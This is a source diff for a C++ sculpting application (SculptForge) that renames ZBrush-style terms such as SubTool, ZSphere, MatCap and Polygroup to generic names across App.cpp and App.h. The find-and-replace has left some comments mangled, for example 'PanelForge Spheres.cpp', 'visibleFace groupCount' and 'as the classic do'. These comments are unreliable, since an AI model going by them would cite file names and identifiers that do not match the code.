@@ -1606,7 +1606,7 @@ void App::onMouseMove(float x, float y, float dx, float dy, bool fromPen) {
dx = rightClick_.dx;
dy = rightClick_.dy;
}
- // ZBrush: start a pan with Alt, then let go of Alt while still dragging to zoom.
+ // start a pan with Alt, then let go of Alt while still dragging to zoom.
if (drag_ == Drag::Pan && panFromAlt_ && !(inputMods(false) & SDL_KMOD_ALT)) drag_ = Drag::Zoom;
// Shift+press on the background: letting go of Shift before the drag gets going rolls the view instead.
if (rollPending_ && drag_ == Drag::Orbit) {
@@ -1626,14 +1626,14 @@ void App::onMouseMove(float x, float y, float dx, float dy, bool fromPen) {
case Drag::Pan: camera_.pan(dx, dy, canvasHeight()); break;
case Drag::Zoom: camera_.zoom(zoomDragAmount(dx, dy)); break;
case Drag::MaskCanvas: maskCanvasMove(x, y); break;
- case Drag::SubToolClick: subtoolClickMove(x, y); break;
+ case Drag::PartClick: partClickMove(x, y); break;
case Drag::Select: selectionMove(x, y); break;
case Drag::Gizmo: gizmoDragTo(x, y); break;
case Drag::Guide: guideDragTo(x, y); break;
case Drag::UvTool: uvToolDragTo(x, y); break;
case Drag::Sculptable: sculptableMouseMove(x, y); break;
case Drag::Capture: captureMouseMove(x, y); break;
- case Drag::ZSphere: zsphereDragTo(x, y); break;
+ case Drag::ForgeSphere: forgesphereDragTo(x, y); break;
case Drag::AirStroke: airStrokeTo(x, y); break;
case Drag::SizeScrub:
sizeScrubDx_ += dx;
@@ -1643,11 +1643,11 @@ void App::onMouseMove(float x, float y, float dx, float dy, bool fromPen) {
}
}
-// How far a zoom drag zooms in (negative: out). ZBrush: dragging up (forward) zooms out; the SculptForge and
+// How far a zoom drag zooms in (negative: out). dragging up (forward) zooms out; the SculptForge and
// Blender styles zoom in. Maya (#32): a drag to the right zooms in, as Maya's own dolly (Preferences > Input >
// Zoom drag can make it vertical). Invert zoom turns either around.
float App::zoomDragAmount(float dx, float dy) const {
- float a = mayaStyle() && uiPrefs_.mayaZoomHorizontal ? dx : zbrushStyle() ? dy : -dy;
+ float a = mayaStyle() && uiPrefs_.mayaZoomHorizontal ? dx : classicStyle() ? dy : -dy;
if (uiPrefs_.invertZoom) a = -a;
return a * 0.05f;
}
@@ -1703,7 +1703,7 @@ void App::onMouseUp() {
// the drag's direction on screen turns it about the normal
{"twist", insertPx_ > 4.0f ? double(glm::degrees(std::atan2(mouseY_ - insertY_, mouseX_ - insertX_))) : 0.0}};
args = withSymmetryArgs(std::move(args));
- if (insertType_ == "mesh") { // your own mesh: a SubTool's copy or a file (insert_mesh)
+ if (insertType_ == "mesh") { // your own mesh: a Part's copy or a file (insert_mesh)
args[insertMeshKey_] = insertMeshValue_;
runCommand("insert_mesh", args);
} else {
@@ -1721,12 +1721,12 @@ void App::onMouseUp() {
// (even with nothing left to place: the stroke's end work runs on the solver thread, pumpStroke)
} else if (drag_ == Drag::Stroke) endStroke();
if (drag_ == Drag::MaskCanvas) maskCanvasRelease();
- if (drag_ == Drag::SubToolClick) subtoolClickRelease();
+ if (drag_ == Drag::PartClick) partClickRelease();
if (drag_ == Drag::Guide) guideRelease();
if (drag_ == Drag::UvTool) uvToolRelease();
if (drag_ == Drag::Sculptable) sculptableMouseUp();
if (drag_ == Drag::Capture) captureMouseUp();
- if (drag_ == Drag::ZSphere) zsphereRelease();
+ if (drag_ == Drag::ForgeSphere) forgesphereRelease();
if (drag_ == Drag::AirStroke) airStrokeRelease();
gizmoRelease();
drag_ = Drag::None;
@@ -1756,7 +1756,7 @@ void App::onKey(SDL_Keycode key, SDL_Keymod mod) {
status_ = "Capture cancelled";
return;
}
- if (lightBoxKey(key, mod)) return; // , LightBox, B / M pickers, S / I pop-ups (LightBox.cpp)
+ if (libraryKey(key, mod)) return; // , Library, B / M pickers, S / I pop-ups (Library.cpp)
// Blender's Emulate Numpad: the number row works as the numpad, unless the key itself has an action.
if (blenderStyle() && uiPrefs_.emulateNumpad && key >= SDLK_0 && key <= SDLK_9 &&
!actions_.actionForChord(chordFromEvent(key, mod)))
@@ -1818,7 +1818,7 @@ void App::beginStroke(float x, float y, const RayHit& hit) {
steadyCursor_ = glm::vec2(x, y);
pickSmoother_.reset();
strokeInvert_ = invertToggle_ != (((inputMods() & SDL_KMOD_ALT) != 0) || (erasing() && eraserAction() == PenAction::Invert));
- // Shift still smooths geometry while the Paint brush is active (ZBrush behaviour).
+ // Shift still smooths geometry while the Paint brush is active.
strokePaint_ = strokeBrush_ != BrushType::Smooth && (paintMode_ || paintRgb_);
strokeSculpt_ = !(strokePaint_ && paintMode_);
const BrushRecipe* recipe = strokeRecipe();
@@ -1917,7 +1917,7 @@ void App::strokeTo(float x, float y) {
pointerLatestAt_ = double(SDL_GetTicksNS()) * 1e-9;
penPredictor_.add(pointerLatest_, pointerLatestAt_);
}
- // ZBrush's alternate smooth (#40): Shift let go while the stroke it began goes on.
+ // the classic alternate smooth (#40): Shift let go while the stroke it began goes on.
if (strokeBrush_ == BrushType::Smooth && straight_.shiftAtStart && !strokeAltSmooth_ && !strokeMask_ &&
!(inputMods() & SDL_KMOD_SHIFT)) {
strokeAltSmooth_ = true;
@@ -1977,7 +1977,7 @@ void App::strokeTo(float x, float y) {
dragDotTo(x, y);
return;
}
- { // Shift pressed after the stroke began: a straight line (ZBrush)
+ { // Shift pressed after the stroke began: a straight line
const glm::vec2 c = constrainStroke(x, y);
x = c.x;
y = c.y;
@@ -2131,7 +2131,7 @@ void App::dabAt(float x, float y, float pressure) {
p.center = hit.position;
p.viewDir = cam.forward();
p.radius = baseRadius * (st.pressureSize ? std::max(pressure, 0.05f) : 1.0f) * dabRadiusScale_;
- // Smooth keeps its own Z Intensity (ZBrush), whether picked or held with Shift.
+ // Smooth keeps its own Z Intensity, whether picked or held with Shift.
p.strength = (st.brush == BrushType::Smooth ? st.smoothStrength : st.strength) * dabStrengthScale_;
p.keepVolume = st.brush == BrushType::Smooth && st.smoothKeepVolume;
p.groupBorders = st.brush == BrushType::Smooth && st.smoothGroupBorders;
@@ -2240,14 +2240,14 @@ void App::runCommand(const std::string& name, const Args& args) {
if (r.ok && name != "export_glb" && name != "export_lods" && name != "export_usd" && name != "export_fbx" &&
name != "export_unreal" && name.rfind("unreal_", 0) != 0 && name != "save_obj" && name != "save_project" &&
name != "mesh_info" && name.rfind("brush_", 0) != 0 && name.rfind("splat_", 0) != 0 && name != "mesh_to_splats" &&
- name != "set_color" && name != "set_material" && name != "load_matcap" && name != "set_shading" && name != "subtool_shading" &&
+ name != "set_color" && name != "set_material" && name != "load_litsphere" && name != "set_shading" && name != "part_shading" &&
name != "viewport_shading" &&
name != "export_ply" && name != "face_weights" &&
name != "face_preset" && name.rfind("face_take", 0) != 0 && name != "face_landmarks_detect") {
clearLods();
playingLayer_ = -1;
}
- if (r.ok && name == "splat_to_mesh") renderSettings_.showSplats = false; // the new SubTool shows; the splats stay
+ if (r.ok && name == "splat_to_mesh") renderSettings_.showSplats = false; // the new Part shows; the splats stay
if (r.ok && name == "save_obj" && !doc_.mesh.layers.empty())
status_ += " (OBJ stores the current blend; export GLB to keep layers as blend shapes)";
if (!r.ok) SDL_Log("%s failed: %s", name.c_str(), r.message.c_str());
@@ -2255,8 +2255,8 @@ void App::runCommand(const std::string& name, const Args& args) {
name == "open_obj" || name == "open" || name == "image_relief" || name == "image_inflate" || name == "splat_to_mesh" ||
(name == "splat_transform" && args.contains("fit"))))
camera_.frame(sceneBounds());
- // A new SubTool lands beside the model: bring it into view only if it isn't already.
- if (r.ok && (name == "subtool_append" || name == "subtool_duplicate") && !onScreen(doc_.mesh.bounds()))
+ // A new Part lands beside the model: bring it into view only if it isn't already.
+ if (r.ok && (name == "part_append" || name == "part_duplicate") && !onScreen(doc_.mesh.bounds()))
camera_.frame(sceneBounds());
afterCommand(name, args, r);
afterVdmCommand(name, r); // the VDM brush after vdm_set / vdm_capture, the top view after vdm_new_plane
@@ -2283,7 +2283,7 @@ void SDLCALL onFileChosen(void* userdata, const char* const* files, int) {
void App::queueFile(FileAction action, std::string path) {
if (action != FileAction::OpenObj && action != FileAction::LoadBrush && action != FileAction::OpenImage &&
- action != FileAction::AppendSubtool && action != FileAction::ComfyWorkflow && action != FileAction::InsertMesh &&
+ action != FileAction::AppendPart && action != FileAction::ComfyWorkflow && action != FileAction::InsertMesh &&
!path.empty() &&
std::filesystem::path(std::u8string(path.begin(), path.end())).extension().empty())
path += action == FileAction::SaveObj ? ".obj"
@@ -2299,10 +2299,10 @@ void App::queueFile(FileAction action, std::string path) {
pendingFiles_.push_back({action, std::move(path)});
}
-void App::loadMatcapDialog() {
- static const SDL_DialogFileFilter kMatcapFilters[] = {{"Lit Sphere images", "png;jpg;jpeg;exr"}, {"All files", "*"}};
- const std::string folder = matcapFolder();
- SDL_ShowOpenFileDialog(onFileChosen, &dialogRequests_[int(FileAction::LoadMatcap)], window_, kMatcapFilters, 2,
+void App::loadLitSphereDialog() {
+ static const SDL_DialogFileFilter kLitSphereFilters[] = {{"Lit Sphere images", "png;jpg;jpeg;exr"}, {"All files", "*"}};
+ const std::string folder = litsphereFolder();
+ SDL_ShowOpenFileDialog(onFileChosen, &dialogRequests_[int(FileAction::LoadLitSphere)], window_, kLitSphereFilters, 2,
folder.empty() ? nullptr : folder.c_str(), false);
}
@@ -2367,7 +2367,7 @@ bool App::onScreen(const AABB& box) const {
}
AABB App::sceneBounds() const {
- AABB b = doc_.visibleBounds(); // every SubTool that's shown
+ AABB b = doc_.visibleBounds(); // every Part that's shown
if (!b.valid()) b = doc_.mesh.bounds();
if (!doc_.splats.empty() && renderSettings_.showSplats) b.expand(doc_.splats.bounds(0.9f));
return b;
@@ -2410,12 +2410,12 @@ void App::processPendingFiles() {
break;
}
case FileAction::SaveProject: saveProjectTo(f.path); break;
- case FileAction::AppendSubtool:
- runCommand("subtool_append", {{"path", f.path}});
+ case FileAction::AppendPart:
+ runCommand("part_append", {{"path", f.path}});
if (lastCommandOk_) camera_.frame(sceneBounds()); // a model can be any size, anywhere
break;
case FileAction::ComfyWorkflow: setComfyWorkflow(f.path, comfyPickingText_); break;
- case FileAction::LoadMatcap: runCommand("load_matcap", {{"path", f.path}}); break;
+ case FileAction::LoadLitSphere: runCommand("load_litsphere", {{"path", f.path}}); break;
case FileAction::InsertMesh: // Append > Insert on the model > From file (#34): the next drag inserts it
insertType_ = "mesh";
insertMeshKey_ = "file";
@@ -2442,15 +2442,15 @@ void App::syncScene() {
updateMeshMaps();
if (paintsTexture(doc_.mesh) && doc_.mesh.texture->fillRevision != doc_.mesh.texture->revision)
updateFillLayers(doc_.mesh, mutableTexture(doc_.mesh));
- // The active SubTool's slot shows the LOD being previewed instead of the sculpt.
+ // The active Part's slot shows the LOD being previewed instead of the sculpt.
Mesh& shown = displayedMesh();
if (&shown != lastDisplayed_) shown.topologyDirty = true;
lastDisplayed_ = &shown;
std::vector<SceneMesh> scene;
- scene.reserve(doc_.subtools.size());
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- SubTool& s = doc_.subtools[size_t(i)];
- const bool active = i == doc_.activeSubtool;
+ scene.reserve(doc_.parts.size());
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ Part& s = doc_.parts[size_t(i)];
+ const bool active = i == doc_.activePart;
Mesh* mesh = active ? &shown : &s.mesh;
// Solo channel view (channel_view): the texture's shown texels follow before the renderer uploads them.
if (mesh->texture) syncChannelView(*mesh->texture, doc_.channelView);
@@ -2461,8 +2461,8 @@ void App::syncScene() {
}
renderer_.syncScene(scene);
renderer_.syncSplats(doc_.splats, doc_.splatsVersion);
- if (subtoolPanelShown_) updateSubtoolThumbnails(); // from the buffers just synced (PanelSubTools.cpp)
- subtoolPanelShown_ = false;
+ if (partPanelShown_) updatePartThumbnails(); // from the buffers just synced (PanelParts.cpp)
+ partPanelShown_ = false;
}
void App::setLayerWeight(int index, float weight) {
@@ -2514,17 +2514,17 @@ void App::updateTitle() {
// ---------------------------------------------------------------------------
void App::drawUi() {
- // An Extract preview goes once its source changes or another SubTool is picked (strokes aren't commands).
+ // An Extract preview goes once its source changes or another Part is picked (strokes aren't commands).
if (doc_.extractPreview.id && !doc_.sculptor.strokeActive()) doc_.dropExtractPreview(true);
drawProjectPopups();
if (hideUi_) return; // demos: clean beauty shots
- // Draw order (ui-spec §12): shells, LightBox, floating windows, then pop-ups and help.
+ // Draw order (ui-spec §12): shells, Library, floating windows, then pop-ups and help.
drawShell();
- drawLightBoxUi(); // thumbnails, the LightBox over the canvas, pickers, size / strength pop-ups
+ drawLibraryBrowserUi(); // thumbnails, the Library over the canvas, pickers, size / strength pop-ups
drawQuickMenu(); // Space (Input.cpp)
drawRadialMenu(); // radial menus (RadialMenu.cpp)
drawStrokePopup(); // the stroke popup and a latched modifier's label at the cursor (StrokePopup.cpp)
- drawSubToolPopups();
+ drawPartPopups();
if (showBrushLab_) drawBrushLab();
drawBrushGallery();
if (showImageTo3D_) drawImageTo3D();
@@ -2546,8 +2546,8 @@ void App::drawUi() {
drawGizmo(); // Gizmo 3D handles and panel (Gizmo.cpp)
drawQRemeshGuides(); // QRemesh Guides curves (PanelRetopo.cpp)
drawUvEditorOverlay(); // UV seams on the model, the Seam tool's cursor (PanelUvEditor.cpp)
- drawZSphereOverlay(); // the sphere under the cursor (PanelZSpheres.cpp)
- drawZSphereMenu(); // a right click on a sphere
+ drawForgeSphereOverlay(); // the sphere under the cursor (PanelForge Spheres.cpp)
+ drawForgeSphereMenu(); // a right click on a sphere
drawFaceOverlay(); // facial landmarks (PanelFace.cpp)
drawSplatTrainOverlay(); // splat training progress (PanelSplatTrain.cpp)
drawSculptableOverlay(); // Make sculptable: crop box, face landmarks (PanelSculptable.cpp)
@@ -2561,7 +2561,7 @@ void App::drawUi() {
theme::u32(theme::accent), 48, 2.0f * uiScale_);
}
// In Gizmo mode (and with the QRemesh Guides brush) the brush ring shows only while Ctrl masks or Shift smooths.
- const bool ringOff = gizmoActive() || (guidesMode_ && !(inputMods() & SDL_KMOD_SHIFT)) || sculptableHot() || zsphereActive() ||
+ const bool ringOff = gizmoActive() || (guidesMode_ && !(inputMods() & SDL_KMOD_SHIFT)) || sculptableHot() || forgesphereActive() ||
uvToolActive();
if (((!ImGui::GetIO().WantCaptureMouse && canvasRect().contains(mouse.x, mouse.y)) || drag_ == Drag::Stroke) &&
!hideBrushCursor_ && radial_.menu < 0 && !strokePopup_.open && drag_ != Drag::Select && drag_ != Drag::Guide && // (no ring under a pie or the stroke popup)
@@ -3586,7 +3586,7 @@ void App::drawPalette_Splats() {
}
bool App::drawSurfaceCursor(ImDrawList* dl, float radiusPx, ImU32 col, bool ring) {
- // Only what brushes work on: the active, visible SubTool with an up-to-date BVH (a stale one, after a
+ // Only what brushes work on: the active, visible Part with an up-to-date BVH (a stale one, after a
// whole-mesh change, is rebuilt at the next press; until then the flat ring shows), not an LOD preview.
if (previewLod_ >= 0 || doc_.bvhDirty) return false;
// Not while the solver thread is moving this mesh (predictive strokes): reading it then races the dabs.
@@ -3796,7 +3796,7 @@ void App::drawBrushCursor() {
if (!surfaceCursorShown_) {
if (ring) {
dl->AddCircle(c, r, col, 64, 1.5f);
- // The inner ring is Focal Shift, as in ZBrush: where the falloff drops to half.
+ // The inner ring is Focal Shift: where the falloff drops to half.
dl->AddCircle(c, r * focalRingFraction(focalShift_), IM_COL32(255, 255, 255, 90), 48, 1.0f);
} else {
dl->AddCircleFilled(c, 2.0f * uiScale_, col);
diff --git a/src/app/App.h b/src/app/App.h
index f9d5603b..ee44e1fc 100644
--- a/src/app/App.h
+++ b/src/app/App.h
@@ -10,11 +10,11 @@
#include "app/CommandPalette.h"
#include "app/Config.h"
#include "app/Console.h"
-#include "app/LightBox.h"
+#include "app/LibraryBrowser.h"
#include "app/Pickers.h"
#include "app/ShellGeometry.h"
#include "app/Support.h"
-#include "app/SubtoolThumbnails.h"
+#include "app/PartThumbnails.h"
#include "app/Thumbnails.h"
#include "app/UiLayout.h"
#include "app/UserGuide.h"
@@ -80,7 +80,7 @@ struct AppOptions {
float zoom = 1.0f; // headless: camera this many times closer than the framed view
int turntable = 0; // headless: render N frames around the model (<path>_000.png ...)
bool wireframe = false;
- bool polygroups = false; // headless: colour each polygroup
+ bool facegroups = false; // headless: colour each face group
bool hideMesh = false; // headless: show only the splats
std::string demo; // scripted demo to play (see Demo.h)
std::string recordPath; // record the session to this .mp4 (needs ffmpeg) and exit
@@ -114,8 +114,8 @@ void wakeMainLoop();
class App {
friend class Demo;
- // ZBrush-style shell modules (see ui-spec): they read and drive the app's state directly.
- friend class LightBox;
+ // classic shell modules (see ui-spec): they read and drive the app's state directly.
+ friend class LibraryBrowser;
friend class ThumbnailCache;
friend void openPicker(Picker, ImVec2);
friend void drawPickers(App&);
@@ -136,7 +136,7 @@ public:
void shutdown();
void requestUiScale(); // Preferences > Interface > UI scale changed: rebuilt live before the next frame (#87)
- enum class FileAction { OpenObj, SaveObj, ExportGlb, ExportLods, SaveBrush, LoadBrush, OpenImage, ExportUsd, SaveSplats, ExportUnreal, SaveProject, AppendSubtool, ComfyWorkflow, LoadMatcap, InsertMesh, Count };
+ enum class FileAction { OpenObj, SaveObj, ExportGlb, ExportLods, SaveBrush, LoadBrush, OpenImage, ExportUsd, SaveSplats, ExportUnreal, SaveProject, AppendPart, ComfyWorkflow, LoadLitSphere, InsertMesh, Count };
struct DialogRequest {
App* app;
FileAction action;
@@ -145,7 +145,7 @@ public:
void queueFile(FileAction action, std::string path);
private:
- enum class Drag { None, Stroke, Orbit, Pan, Zoom, Roll, MaskCanvas, SubToolClick, Select, Gizmo, Guide, Sculptable, ZSphere, Insert, Capture,
+ enum class Drag { None, Stroke, Orbit, Pan, Zoom, Roll, MaskCanvas, PartClick, Select, Gizmo, Guide, Sculptable, ForgeSphere, Insert, Capture,
AirStroke, UvTool, SizeScrub }; // AirStroke: a stroke begun off the model, waiting to reach it (#62)
void handleEvent(const SDL_Event& e); // the pen's mouse events first (penMouseEvents), then dispatchEvent
@@ -158,7 +158,7 @@ private:
void rollBy(float x, float y, float dx, float dy); // Shift+click, release Shift, drag: turn about the view axis
void onKey(SDL_Keycode key, SDL_Keymod mod);
- bool pick(float x, float y, RayHit& hit) const; // the active SubTool (what brushes work on)
+ bool pick(float x, float y, RayHit& hit) const; // the active Part (what brushes work on)
BrushType activeBrush() const;
void beginStroke(float x, float y, const RayHit& hit);
// Preferences > Input > Start strokes off the model (#62): a left press on the background waits as
@@ -173,7 +173,7 @@ private:
void strokeTo(float x, float y);
void dabAt(float x, float y, float pressure = -1.0f); // pressure < 0: strokePressure()
void endStroke();
- // Dynamic topology (ZBrush's Sculptris Pro, core/Dyntopo.h): turns it on or off (not on a mesh with
+ // Dynamic topology (dynamic topology, core/Dyntopo.h): turns it on or off (not on a mesh with
// subdivision levels), saying so in the status bar; the Detail slider.
void setDynamic(bool on);
void drawDetailSlider(const char* id);
@@ -190,7 +190,7 @@ private:
void generateLods();
void clearLods();
Mesh& displayedMesh();
- void syncScene(); // uploads every SubTool (the active one as displayedMesh()) and the splats to the renderer
+ void syncScene(); // uploads every Part (the active one as displayedMesh()) and the splats to the renderer
void drawUi();
void drawBrushLab();
@@ -268,7 +268,7 @@ private:
// Rotation drags: the unsnapped view, so Shift (snap to an axis) can be pressed and released mid-drag.
Camera orbitRaw_;
bool orbitStarted_ = false;
- bool panFromAlt_ = false; // a pan started with Alt: releasing Alt mid-drag zooms (ZBrush)
+ bool panFromAlt_ = false; // a pan started with Alt: releasing Alt mid-drag zooms
bool forceTurntable_ = false; // demos orbit like a turntable whatever the preference
float mouseX_ = 0.0f, mouseY_ = 0.0f;
float lastX_ = 0.0f, lastY_ = 0.0f;
@@ -409,10 +409,10 @@ private:
bool showWelcome_ = false; // the first start (no project.json yet), or Help > Welcome
// project.json "input_style": the key style an install started with (the welcome's "Coming from" choice, or
// SculptForge for a new install), used while ui.json (Store Config) names none; -1: an install from before it,
- // which keeps the ZBrush-style keys it had.
+ // which keeps the Classic sculpting keys it had.
int startInputStyle_ = -1;
// "SculptForge has a new look" (0.10.7, PanelSupport.cpp): once, for an install from before it that kept the
- // Classic look or the ZBrush-style layout. Done once either button or its close box is used.
+ // Classic look or the Classic layout. Done once either button or its close box is used.
bool newLookCard_ = false;
bool newLookCardDone_ = false;
void chooseNewLook(bool tryIt);
@@ -598,14 +598,14 @@ private:
float cavityThreshold_ = 0.02f;
int maskGroup_ = 0;
int maskBorderRings_ = 2; // Tool > Masking > By border: width in edge rings (#61)
- bool maskBorderGroups_ = false; // ... polygroup borders too
+ bool maskBorderGroups_ = false; // ... face group borders too
bool maskBorderSoft_ = false; // ... fading inwards
float maskCanvasX_ = 0.0f, maskCanvasY_ = 0.0f;
bool maskCanvasMoved_ = false;
- // Polygroups & visibility (PanelPolygroups.cpp): Ctrl+Shift click/drag.
- bool polygroupMouseDown(float x, float y, SDL_Keymod mod); // true if it took the click
- void polygroupMouseUp();
- void drawPolygroupsSection();
+ // Face groups & visibility (PanelFace groups.cpp): Ctrl+Shift click/drag.
+ bool facegroupMouseDown(float x, float y, SDL_Keymod mod); // true if it took the click
+ void facegroupMouseUp();
+ void drawFaceGroupsSection();
// Cut (PanelCut.cpp, core/Cut.h): Ctrl+Shift with a Cut shape. Line, Lasso and Rectangle are dragged; Polyline
// is clicked point by point (click the first point to close it, double-click or Enter to end it open, Esc drops it).
void cutMouseUp();
@@ -620,7 +620,7 @@ private:
float cutDepth_ = 0.1f; // In / Add: fraction of the Part's size
std::vector<ImVec2> cutPolyline_; // window pixels of the Polyline being placed
// Screen selections (Selection.cpp): the rectangle or lasso dragged for
- // visibility (Ctrl+Shift, ZBrush SelectRect / SelectLasso) or for the mask
+ // visibility (Ctrl+Shift, classic SelectRect / SelectLasso) or for the mask
// (Ctrl, MaskRect / MaskLasso). Pen is the mask's brush-stroke mode.
// The Cut shapes share the Ctrl+Shift drag with SelectRect / SelectLasso (PanelCut.cpp).
enum class SelectShape { Pen, Lasso, Rect, CutLine, CutLasso, CutRect, CutPolyline };
@@ -642,8 +642,8 @@ private:
// Window pixels: the start, then the lasso's points (a rectangle's other corner is the cursor).
std::vector<ImVec2> selectPath_;
bool selectMoved_ = false; // left the click slop: a drag, not a click
- float polygroupAngle_ = 30.0f;
- // visiblePolygroupCount is O(triangles): recomputed only when the key below changes.
+ float facegroupAngle_ = 30.0f;
+ // visibleFace groupCount is O(triangles): recomputed only when the key below changes.
size_t visibleGroups_ = 0;
std::array<uint64_t, 6> visibleGroupsKey_{};
// Stroke types, alphas and the extra brushes (PanelBrushes.cpp).
@@ -729,7 +729,7 @@ private:
std::mutex alphaMutex_;
std::string pendingAlphaPath_; // set by the file dialog thread
// Vector displacement brushes (PanelVdm.cpp, core/Vdm.h): the Brush palette's Vector Displacement section,
- // its file dialogs and actions, DragDot, and the DragRect stroke the VDM brush brings along (as ZBrush's do).
+ // its file dialogs and actions, DragDot, and the DragRect stroke the VDM brush brings along (as the classic do).
void dragDotTo(float x, float y);
bool vdmBrushActive() const { return brush_ == BrushType::Vdm && doc_.activeBrush < 0 && !paintMode_; }
void drawVdmSection();
@@ -750,7 +750,7 @@ private:
bool facePlacing_ = false;
int facePlaceIndex_ = 0;
int faceSymmetry_ = 0; // 0 Auto, 1 On, 2 Off
- bool faceSubtools_ = true;
+ bool faceParts_ = true;
float facePresetAmount_ = 1.0f;
MorphAnimation faceTake_;
std::string faceTakePath_;
@@ -829,33 +829,33 @@ private:
std::string brushPopupError_; // why the last rename failed
int listedBrush_ = -1; // active brush when the list was last drawn (to scroll to a new one)
std::string pendingRename_; // new name typed in the recipe editor, applied after the panel is drawn
- // Polypaint and MatCap materials (PanelPolypaint.cpp)
- bool paintMode_ = false; // Paint brush: colour only, no sculpting (ZBrush Rgb on, Zadd off)
- bool paintRgb_ = false; // also paint the colour while sculpting (ZBrush Rgb + Zadd)
+ // Vertex paint and Lit Sphere materials (PanelVertex paint.cpp)
+ bool paintMode_ = false; // Paint brush: colour only, no sculpting (Rgb on, Raise off)
+ bool paintRgb_ = false; // also paint the colour while sculpting (Rgb + Raise)
bool strokePaint_ = false, strokeSculpt_ = true;
void registerPaintUiCommands();
- std::string matcapFolder() const; // <library>/Lit Spheres, empty without a library
- void loadMatcapLibrary(); // custom MatCaps from the studio folders and matcapFolder() (start-up)
- void loadMatcapDialog(); // Material > Load MatCap...
- void rescanMatcapFolder(); // loads new / changed images in matcapFolder(), drops deleted ones
+ std::string litsphereFolder() const; // <library>/Lit Spheres, empty without a library
+ void loadLitSphereLibrary(); // custom Lit Spheres from the studio folders and lit sphereFolder() (start-up)
+ void loadLitSphereDialog(); // Material > Load Lit Sphere...
+ void rescanLitSphereFolder(); // loads new / changed images in lit sphereFolder(), drops deleted ones
void materialListShown(); // a material list is on screen: rescans when it has just opened
- std::map<std::string, std::pair<uintmax_t, int64_t>> matcapFolderSeen_; // path -> size, time at the last scan
- std::set<std::string> hiddenMatcapFiles_; // removed MatCaps whose file couldn't go to the trash
+ std::map<std::string, std::pair<uintmax_t, int64_t>> litsphereFolderSeen_; // path -> size, time at the last scan
+ std::set<std::string> hiddenLitSphereFiles_; // removed Lit Spheres whose file couldn't go to the trash
int materialListFrame_ = -10;
void setFlatShading(bool flat); // the scene's shading, and the preference for the next session
// The view's background (#21): gradient or a flat display colour; also the preference for the next session.
void setBackground(bool gradient, const glm::vec3& color);
void drawBackgroundControls(const char* idSuffix); // Preferences > Display and the Render palette
- void drawShadingControls(); // Material palette and Tool > Display: Smooth | Flat, and the SubTool's own
+ void drawShadingControls(); // Material palette and Tool > Display: Smooth | Flat, and the Part's own
void drawViewportShadingControls(); // Material palette: Lit Sphere | PBR and the environment
void paintAt(const DabParams& p);
void pickColorUnderCursor();
- // First paint stroke on a mesh without polypaint: undo swaps this paint stack (no colours) back in, so the
+ // First paint stroke on a mesh without vertex paint: undo swaps this paint stack (no colours) back in, so the
// attribute goes away again.
std::unique_ptr<PaintStackUndo> paintSnapshot_;
void beginPaintStroke();
void finishPaintStroke(UndoRecord& record);
- TexturePainter texturePainter_; // strokes into the SubTool's texture (core/Texture.h)
+ TexturePainter texturePainter_; // strokes into the Part's texture (core/Texture.h)
// Texture Map sub-palette (PanelTexture.cpp): texture painting on UVs, Auto UV, the UV view.
void drawTextureMapContents();
void registerTextureUiActions();
@@ -872,7 +872,7 @@ private:
bool uvToolMouseDown(float x, float y, SDL_Keymod mod);
void uvToolDragTo(float x, float y);
void uvToolRelease();
- const MeshOverlay* uvEditorOverlay(uint32_t subtool); // what syncScene hands the renderer for the model
+ const MeshOverlay* uvEditorOverlay(uint32_t part); // what syncScene hands the renderer for the model
bool uvEditorBusy() const;
// UI test values: uv_editor_open, uv_islands, uv_seams, uv_selected, uv_select_mode, uv_pins, uv_tiles,
// uv_stretch_x1000, uv_flipped_x1000, uv_density, uv_max_u, uv_unwrapping, uv_unwraps, uv_tool,
@@ -889,7 +889,7 @@ private:
std::shared_ptr<std::atomic<bool>> cancel;
std::shared_ptr<AutoUvResult> result;
std::shared_ptr<std::string> error;
- uint32_t subtool = 0; // SubTool id it unwraps
+ uint32_t part = 0; // Part id it unwraps
size_t triangles = 0; // the mesh must still have this many triangles when it finishes
};
std::unique_ptr<AutoUvJob> autoUv_;
@@ -927,18 +927,18 @@ private:
glm::vec3 prewarmCenter_{1e30f};
float prewarmRadius_ = 0.0f;
// Bake sub-palette (PanelBake.cpp): normal / displacement / AO / cavity / colour maps from a high-poly onto
- // the active SubTool's UVs (core/Bake.h), on a worker thread, and the baked normal map shown on the model.
+ // the active Part's UVs (core/Bake.h), on a worker thread, and the baked normal map shown on the model.
void drawBakeContents();
void registerBakeUiActions();
void startBake();
void pollBake();
- // The normal map to preview on SubTool `id` (null when none, it is turned off, or the mesh changed).
+ // The normal map to preview on Part `id` (null when none, it is turned off, or the mesh changed).
const NormalMapView* bakeNormalMap(uint32_t id, const Mesh& mesh);
bool bakeBusy() const;
- // The last bake's normal map PNG when its SubTool is shown and still fits it (Send to Unreal takes it along).
+ // The last bake's normal map PNG when its Part is shown and still fits it (Send to Unreal takes it along).
std::string bakedNormalMapFile(bool& directX);
// UI test values: bake_running, baked_maps (maps in the last bake), bake_size, bake_files, normal_map_preview
- // (1 when the active SubTool shows a baked normal map); NaN for other names.
+ // (1 when the active Part shows a baked normal map); NaN for other names.
double bakeTestValue(const std::string& name);
std::shared_ptr<struct BakeUiState> bake_;
// Splats > Train from capture (PanelSplatTrain.cpp, ai/SplatTrainer.h): Brush trains a splat from a phone
@@ -953,7 +953,7 @@ private:
double splatTrainTestValue(const std::string& name);
std::shared_ptr<struct SplatTrainUi> splatTrain_;
std::string lastExportFolder_; // where the last export went: the default folder for baked maps
- // Cached UV wireframe of the active SubTool for the UV view: segments in 0..1 UV space.
+ // Cached UV wireframe of the active Part for the UV view: segments in 0..1 UV space.
std::vector<glm::vec2> uvLines_;
uint64_t uvLinesKey_ = 0;
// Preferences > Performance (PanelPerformance.cpp): antialiasing and fast navigation, multithreading, what the
@@ -994,7 +994,7 @@ private:
void applyHardwareProfile(const struct HardwareProfile& profile, bool announce);
void finishCalibration();
std::shared_ptr<struct HwProfileUi> hwProfile_;
- // Splats > Make sculptable (PanelSculptable.cpp, core/Sculptable.h): splat capture -> sculptable SubTool on a
+ // Splats > Make sculptable (PanelSculptable.cpp, core/Sculptable.h): splat capture -> sculptable Part on a
// worker thread; the crop box and the face landmark review in the viewport.
void registerSculptableUiActions();
void drawSculptableSection();
@@ -1013,13 +1013,13 @@ private:
bool sculptableLandmarkScreen(int i, ImVec2& out) const; // UI tests: where landmark i is drawn
double sculptableTestValue(const std::string& name); // NaN for names it doesn't know
std::shared_ptr<struct SculptableUiState> sculptable_;
